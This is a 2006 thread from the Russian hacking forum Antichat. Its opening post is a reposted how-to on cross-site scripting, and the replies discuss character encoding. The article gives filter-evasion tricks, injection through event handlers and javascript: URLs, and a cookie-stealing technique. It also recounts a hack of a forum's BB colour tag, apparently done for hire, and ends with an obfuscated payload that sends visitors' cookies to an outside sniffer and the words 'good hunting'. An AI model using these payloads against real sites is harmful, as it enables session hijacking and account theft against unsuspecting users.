ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Xss — основные ходы
  #1  
Старый 06.05.2006, 21:06
Аватар для dinar_007
dinar_007
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме:
13936387

Репутация: 1844


Отправить сообщение для dinar_007 с помощью ICQ
По умолчанию Xss — основные ходы

Сейчас по всему интернету можно встретить большое количество разнообразных форумов, гостевых книг, чатов, сайтов и других средств, созданных для нашего с вами общения. На всех этих сайтах можно выделить одну особенность — вы можете изменять их содержание и эти изменения, понятное дело, контролируются админами этих сайтов: фильтруются неугодные символы и все такое. Но иногда возникает момент, когда эти изменения выходят из под контроля. Тогда можно провести все, что угодно: php-инклудинг, SQL-инъекция и, тема этой статьи — XSS атаки.

XSS расшифровывается ка Crossing Site Scripting. Он же межсайтовый скриптинг. Абривиатура могла бы быть CSS, но это уже забито Caskading Style Sheets — стилем. О нем позже

Вся суть этой атаки заключается в том, что вы внедряете свой скрипт в чужую страницу, а этот скрипт уже работает на вас: крадет чужие куки, заставляет окно закрываться, в скрипт вмонтируется какой-нибудь сплоит и т. д.

Теперь вся проблема заключается в том, КАК вставить свой скрипт в чужую страницу. Я опишу все известные мне методы, подразделив их на группы.

BB-XSS.
Вы наверное часто замечаете, что форумы, чаты и etc почти всегда дают своим пользователям возможность использовать различные виды начертаний, шрифта, цвета применительно к тексту, вставка картинок, смайликов и т.д. В реализации этого не последнюю роль играет использование кодов BB: выражений в квадратных скобках, которые при парсинге станун тегами. Например,

перейдет в <b>
[i] в <i>

и т.д.
Не разрешать же юзерам внедрять в страницу какой не попадя код? Пусть обходяться BB кодами...

Итак, нам надо вставить скрипт.
Первое, что вообще надо учитывать, это какие символы и в каком месте фильтруются. Нам может понадобиться один или несколько следующих символов:' ' < > ( ) " ; - ! + = & { }`
Поэтому просто вставляем это в тело страницы и смотрим, что фильтруется, а что нет. Учитываем небольшую особенность, что в BB тегах оно может фильтроваться, а вне нет. Но это можно обойти. Если чего-то не достает и упорно фильтруется, то это остается одно — закодировать.
Пара слов о кодировке.
Особенность парсинга текста в браузерах заключается в том, что расшифровка символов происходит до выполнения скрипта. Это значит например, что<IMG SRC=javascript:alert(&quot;XSS&quot>
перейдет в <IMG SRC=javascript:alert("XSS")>, а затем выполнится.
Закодировть эти символы с текстовыми метками можно:

&quot; " двойная кавычка
&amp; & амперсанд
&lt; < знак 'меньше'
&gt; > знак 'больше'

Давайте с вами разберемся, какими способами мы вообще можем вставлять скрипты в тело страницы.

[B]Непосредственно
<script>alert('lol');</script>
Эта возможность выпадает редко и в основном в какой-нибудь личной информации пользователя, полях, который не редактируются с тектовых полей, но значения которых можно изменить в post или get запросе: например принудительно перехватить и послать на сервер подделанный пакет:
допустим передается в пакете имя скажем цвета (red) мы можем переделать его в
red'" >, тестируя таким образом на символы. Если что-то сработает и не отфильтруется, xss обеспечена.
это может принять форму
<tgname ***'red'"><script>...
в тег тоже можно так залезть, выходя из кавычек.
О подделке пакетов смотрите другие разделы.
Чтобы избежать фильтрации, можно изменить регистр
<sCript>
Через ссылку на скрипт посредством javascript: или vbscript:
<*** src(href,url)="javascript:alert('lol')">
<META HTTP-EQUIV="Refresh" CONTENT=3; URL=javascript:alert('lol')">
здесь, если название тега будет img/image, iframe, то скрипт выполниться сразу, поскольку браузер попытается подгрузить ее содержимое и наткнется на наш скрипт. Если это будет ссылка, то браузер будет ждать, пока пользователь нажмет ее.
То же со стилем:
<*** style=backround:url("javascript:alert('lol'")>;
это метод плох тем, что javascript: фильтруется и сложно найти лазейку в скрипте фильтрации, которая оставит javascrip:
Через события.
В DHTML существует события, которые запускают скрипты.
например событие onload применяется при загрузке картинок, фреймов, окон.
<img src=images/smile.gif onload=alert('lol')>
Не оставлю незамеченными такие события как
onerror="при возникновении ошибки";
onmouseover="при наведении курсора мышки";
onmouseout="при убратии курсора с объекта";

Остановлю ваше внимание на событии onerror
удобно дать какой-нибудь картинке одрес, который никуда не ведет, что повлечет ошибку и выполнение скрипта
<img/image src="images/smile.gifadalshexss"onerror=alert('lol')>
через url браузера. Иногда случается, что код, который отображается в URL, становиться частью страницы. Тогда мы пишем этот код в урл, предварительно замаскировав его. Понятно, что это нада искать.
Somesite.dn/forum/?somevar=<script>alert('lol')</script>
Somesite.dn/forum/?somevar=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2 8%27%6C%6F%6C%27%29%3C%2F%73%63%72%69%70%74%3E

Похоже это все, а теперь перейдем к частностям.
В частности наличие xss-уязвимости позволяет тащить куки с сайта, а затем вставлять себе и становиться теми, у кого эти куки были взяты.
Если уязвимость межскриптовая, то должны быть наш скрипт на сайте и еще прога, которая ловит то, что мы взяли. Например посредством GET-запроса.
С чужого сайта приходит запрос типа netch.ru/**/pass=123&login=chel
у нас находится скрипт, который ловит этот запрос и записывает в лог.

А теперь небольшой пример с icon board.
Взлом этот начался с заказа, поэтому подробности не раскрываются.

Сначала я попробовал javascript:, но скрипт предупредил меня о серьезных намерениях рассказать все админу.
Тогда я начал химичить с подстановкой одного тега в другой и понял, что
внутри тега тег [color] не фильтруется. Отлично. Идем дальше. Пробуем вставить событие. После названия цвета. Но гадина не восприимала пробелы и выводила все, как обычный текст. Можно было поставить /, но я решил попробовать напрямую. И не пожалел. [COLOR=onerror='alert(1)']y' работает. Все. Остается тока добавить снифер и собрать сплоит. Но почему адреса с точками упорно не принимались. Тогда я просто воспользовался тулзой по перекодеровке и все заработало [COLOR=onerror='a=String.fromCharCode(108,111,108); alert(a)']y' Теперь все готово и мы собираем сполит
[COLOR=onerror='img=new/**/Image();a=String.fromCharCode(а,д,р,е,с,,с, ,и,ф,е ,р,а,_,с,o,d,e,d);img.src=a+document.cookie']y'
И ждем теперь куков.

Вроде бы и все и.. удачной охоты.

Взято с netch.ru
 
Ответить с цитированием

  #2  
Старый 07.05.2006, 19:55
Аватар для Дикс
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме:
2209675

Репутация: 537


Отправить сообщение для Дикс с помощью ICQ
По умолчанию

Цитата:
String.fromCharCode(108,111,108)
а есть обратная тулза, которая коды выдаёт?
если я буду с помощью такой тулзы обращать в коды все символы
' ' < > ( ) " ; - ! + = & { }`
обеспечит ли это защиту от ксс?
 
Ответить с цитированием

  #3  
Старый 07.05.2006, 20:59
Аватар для dinar_007
dinar_007
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме:
13936387

Репутация: 1844


Отправить сообщение для dinar_007 с помощью ICQ
По умолчанию

Да в качестве такой тулзы можно поисковики использовать =) Я так делал =)
Типа go.mail.ru
А защиты это ИМХо не обеспечит, хотя х.з. Чем чёрт нешутит =)
 
Ответить с цитированием

  #4  
Старый 07.05.2006, 22:46
Аватар для Дикс
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме:
2209675

Репутация: 537


Отправить сообщение для Дикс с помощью ICQ
По умолчанию

я имел ввиду альтернативную функцию яваскрипта.
есть такая?
 
Ответить с цитированием

  #5  
Старый 08.05.2006, 19:03
Аватар для pch
pch
Познающий
Регистрация: 22.10.2005
Сообщений: 37
Провел на форуме:
520745

Репутация: 141
По умолчанию

Цитата:
Сообщение от Дикс  
я имел ввиду альтернативную функцию яваскрипта.
есть такая?
Ну, например, есть функция encodeURIComponent(string).
Вот пример работы
write(encodeURIComponent('тестовая строка'));

%D1%82%D0%B5%D1%81%D1%82%D0%BE%D0%B2%D0%B0%D1%8F%2 0%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B0
 
Ответить с цитированием

  #6  
Старый 08.05.2006, 20:27
Аватар для Дикс
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме:
2209675

Репутация: 537


Отправить сообщение для Дикс с помощью ICQ
По умолчанию

а почему там коды из трёх цифр без процента?
наверно чего-то не то, но всё равно спасиба.
 
Ответить с цитированием

  #7  
Старый 25.05.2006, 19:56
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию

Объясняю:

Коды с "процентами" это всего лишь кодировка url.
Она никакой роли не играет, в основном используется для отвода глаз, когда подсовывают ссылку. Хотя если тупо написан скрипт, то позволяет обойти некоторую защиту

А вот коды типа "99","103" и т.д. - это коды char()
то есть это коды символов таблицы ascii
А функция char() лишь возвращает сам символ по его коду. то есть, например, выражение "char(97)" вернет английскую букву "а"


То есть разлечайте эти две разные вещи
 
Ответить с цитированием

  #8  
Старый 30.05.2006, 03:18
Аватар для podkashey
podkashey
Познавший АНТИЧАТ
Регистрация: 18.06.2005
Сообщений: 1,004
Провел на форуме:
2821162

Репутация: 1320


По умолчанию

Для кодировки в чар использую "программу" на дэлфи, если кому надо (чем черт не шутит), вот код:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Edit1KeyPress(Sender: TObject; var Key: Char);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var i:integer;
begin
Memo1.Text:='';
for i :=1 to length(Edit1.Text) do
begin
Memo1.Text := Memo1.Text + IntToStr(ord(Edit1.text[i]))+',';

end;

end;

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if key = #13 then Button1Click(edit1);
end;

procedure TForm1.FormShow(Sender: TObject);
begin
Memo1.Text:= 'Значение ASCII'
end;

end.
 
Ответить с цитированием

  #9  
Старый 30.05.2006, 06:09
Аватар для Kanick
Kanick
Познающий
Регистрация: 06.09.2005
Сообщений: 67
Провел на форуме:
215526

Репутация: 85
Отправить сообщение для Kanick с помощью ICQ
По умолчанию

Кстати. Есть такое событие - onmouseenter, точная(?) копия onmouseover. Работает только в IE. Никто о нем не знает Я сам случайно нашел.

Upd: И, соответственно, onmouseleave.

Последний раз редактировалось Kanick; 30.05.2006 в 17:02..
 
Ответить с цитированием

  #10  
Старый 30.05.2006, 09:29
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Ммм.. А причём тут xss?
__________________
..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Админка для любителей Xss атак Jenizix Доступы, shells, ftp - Покупка, продажа 4 09.01.2007 10:46
Broken image, при использовании XSS через аватару Qwazar PHP, PERL, MySQL, JavaScript 8 15.04.2006 09:02
Книга sql, xss и т.д. и т.п. tclover Болталка 9 28.03.2006 12:03
Xss на yandex.ru Pridu_ROCK Уязвимости 1 04.03.2006 01:08
XSS в Phorum<=5.0.14 tester2005 Уязвимости 22 17.03.2005 07:52



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ